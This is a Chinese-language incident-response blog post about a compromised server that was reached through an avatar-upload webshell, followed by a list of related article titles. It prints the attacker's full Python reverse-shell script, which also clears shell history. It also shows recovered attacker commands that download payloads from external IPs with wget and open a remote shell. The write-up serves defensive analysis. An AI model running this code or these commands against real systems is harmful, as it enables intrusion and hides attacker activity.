0x01 背景


本周是在目前公司的最后一周,周五就离职了,在这里待了2年半时间,说短也不短,职业生涯可能也没多少个2年半。出门和同事去撸串的路上收到的告警,急忙赶回来处理,很简单的一次应急,没什么技术含量,因为时间点特殊才想着记录一下,毕竟是最后一次应急响应。

0x02 排查过程


看到告警信息,发现Java进程执行了Wget操作,下载了一个Python文件,访问Python文件,内容如下:

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()

反弹脚本,确认机器被黑了。
先看下反弹进程:

admin 19363 0.0 0.0 154784 5260 ? S 19:12 0:00 python /tmp/1.py 103.224.248.18 1555

干掉,然后netstat确认下没有对外发起的ESTABLISHED连接。然后看下攻击者执行了什么命令
其中一条机器执行的命令

cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
whoami
ls -al
ping -c 3 www.baidu.com
bash -i > (bash反弹这个攻击者肯定是没有URL编码&导致没有执行成功)
/bin/bash -i >
wget http://162.247.97.195/223.txt -O 123.jsp
ls -al

另一台执行的命令

cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
ls -al
wget 43.229.213.219/backs/back.py
ls -al
wget
wget http://43.229.213.219/backs/back.py
pwd
wget http://43.229.213.219/backs/back.py
ls -al
ls -al /root
id
ls -al /tmp
wget http://43.229.213.219/backs/back.py -O /tmp/1.py
ls -al /tmp/1.py
ls -al /var/tmp
ls -al /tmp
python /tmp/1.py 103.224.248.18 1555
pwd
ps -aux
last
ping -c 4 192.168.192.75
ping -c 4 192.168.190.249

对照着Auditd Log

type=EXECVE msg=audit(1532430757.519:892862): argc=3 a0="ls" a1="-al" a2="/tmp"

其中一条日志的时间点是2018/7/24 19:12:37
去搜索Nginx Accesslog

cat /tmp/1 | grep '19:12:37'
66.42.53.201 - - [24/Jul/2018:19:12:37 +0800] "GET /upload/avatar/35364_big.jsp?pwd=023&i=ls%20-al%20/tmp HTTP/1.1" 200 241 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0" "-"

这里发现了多个攻击者的IP,包括:

66.42.53.201
27.102.112.62
149.28.148.146
...

Webshell文件为35364_big.jsp,很简单的一个cmd马
然后看到访问目录在/upload/avatar/下也能猜测到,开发没有限制头像处上传文件扩展名白名单导致的。

0x03 处理措施


1)删除Webshell和反弹Python脚本
2)检查两台机器还有没有对外的ESTABLISHED的连接,可能机器仍然被控制
3)让运维修改nginx限制upload目录下的jsp和jspx文件访问
4)让开发修改头像上传处添加服务端扩展名白名单限制,并检查其他上传文件的地方。

【应急案例】Linux应急记录相关推荐

  1. 奇安信应急响应-Linux

    Linux需要经常关注的目录 /etc/passwd用户信息文件:我们需要看一下里面到底是什么,保存的用户信息 /etc/rc.d/rc.loacl:开机启动项:类似于Windows的开机启动项,有可 ...

  2. 2022-10-15(Linux应急响应、配置漏洞之DNS域传送、内网渗透之内网主机发现技巧)

    http://noahblog.360.cn/advanced-windows-taskscheduler-playbook/@[toc] [重要]拜读的文章链接都在标题上. 一.linux应急响应 ...

  3. 网页篡改事件应急案例

    结论建议 结论: 感染的病毒为最新的 GANDCRAB V5.2,该版本目前尚无公开解密秘钥,在不支付赎金前提下, 无法对加密文件进行解密. 该主机在 2018 年 5 月至 7 月期间,感染过多个恶 ...

  4. Linux 应急响应辅助笔记

    目录导航 0x00 前言: 0x01 应急自动化工具: GScan: 河马: chkrootkit: 在线沙箱: 0x02 排查可能被替换的文件: 0x03 可疑用户排查: 0x04 定时任务排查: ...

  5. linux 应急响应 病毒清除 系统加固

    概述 Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,Linux没有像Autorun.procexp这样的应急响应利器,也没有统一的应急响应处理流程.所以,这篇文章将会对L ...

  6. 运维基础(15) Linux 应急响应

    Linux 环境下处理应急响应事件往往会更加棘手,因为相比于 Windows ,Linux 没有像 Autorun.procexp 这样的应急响应利器,也没有统一的应急响应处理流程. 所以 ,本文将会 ...

  7. Linux应急响应之挖矿篇

    Linux应急响应之挖矿篇 Linux服务器经常受到挖矿木马的骚扰,严重影响服务器的正常使用.那么安全人员遇到这类问题该如何解决呢? 首先了解一下什么是挖矿 每隔一个时间点,比特币系统会在系统节点上生 ...

  8. 读《Linux应急响应》笔记(未完待续)

    今天就想听着音乐,看看书.找到压箱底的<linux应急响应>看一看.还是蛮新的,是2021.7.1的新版. 文章目录 思维导图 挖矿事件 恶意域名 获取异常进程PID 寻找恶意⽂件样本 处 ...

  9. Linux应急响应-盖茨木马的处置方式

    Linux应急响应-盖茨木马的处置方式 Linux盖茨木马是一类有着丰富历史,隐藏手法巧妙,网络攻击行为显著的DDoS木马,BillGates攻击程序采用C/C++语言编写,因相关的程序中分别包含&q ...

  10. Linux应急处置/信息搜集/漏洞检测工具---附脚本下载

    Linux应急处置/信息搜集/漏洞检测工具,支持基础配置/网络流量/任务计划/环境变量/用户信息/Services/bash/恶意文件/内核Rootkit/SSH/Webshell/挖矿文件/挖矿进程 ...

最新文章

  1. setTimeout() setInterval()
  2. Spring的@Configuration使用cglib代理的效果和我自己写的简单实现
  3. 容器服务kubernetes弹性伸缩高级用法
  4. ubuntu安装php5.3
  5. HTML5 音视频操作
  6. 问题 | kali系统隐藏sshd的banner信息
  7. 沈大海38节jquery强化教程2016视频下载
  8. JAVA三大器之拦截器
  9. 在Windows Xp上实现Ubuntu主题风格!
  10. VARCHART XGantt系列教程:甘特图调度程序探究
  11. 基于ARM处理器的TSC2046触摸屏控制器的应用
  12. 此计算机无法连接道家庭组,无法加入家庭组怎么办
  13. 现代软件工程 第一章 【概论】练习与讨论 第10题 邓杰
  14. java 临时文件_Java临时文件
  15. NVIDIA Jetson TK1学习与开发(四):一些细节问题
  16. 【工厂扫码打印扫码装箱错误追溯系统】完整案例详解(PythonPyQt 源码Mysql数据库)
  17. cloudstack GuestNetwork Ingress-Egress rule
  18. CanMV K210 AI开发板全网首发,项目代码完全开源,千套开发板限时优惠!
  19. 超级科技赋能短视频、在线阅读行业,定制安全解决方案
  20. php使用QQ登录API,QQ的账号登录及api操作

热门文章

  1. 阴影:盒子阴影(box-shadow)和文字阴影(text-shadow)
  2. 潜在类别分析LCA latent class analysis
  3. vue中使用 百度地图 轨迹动画
  4. scrapy爬虫之crawlspide爬取豆瓣近一周同城活动
  5. elasticsearch 安装 (es数据库安装详细)
  6. 删除计算机其他用户名和密码是什么情况,电脑用户名怎么删除_电脑用户名怎么取消...
  7. 如何监控电动车充电桩能耗?
  8. Mybatis Plus实现修改增加时间自动填充
  9. 四种积分双谱算法matlab,MATLAB实现双谱线修正算法
  10. sonix uvc驱动的添加 RT5350支持H264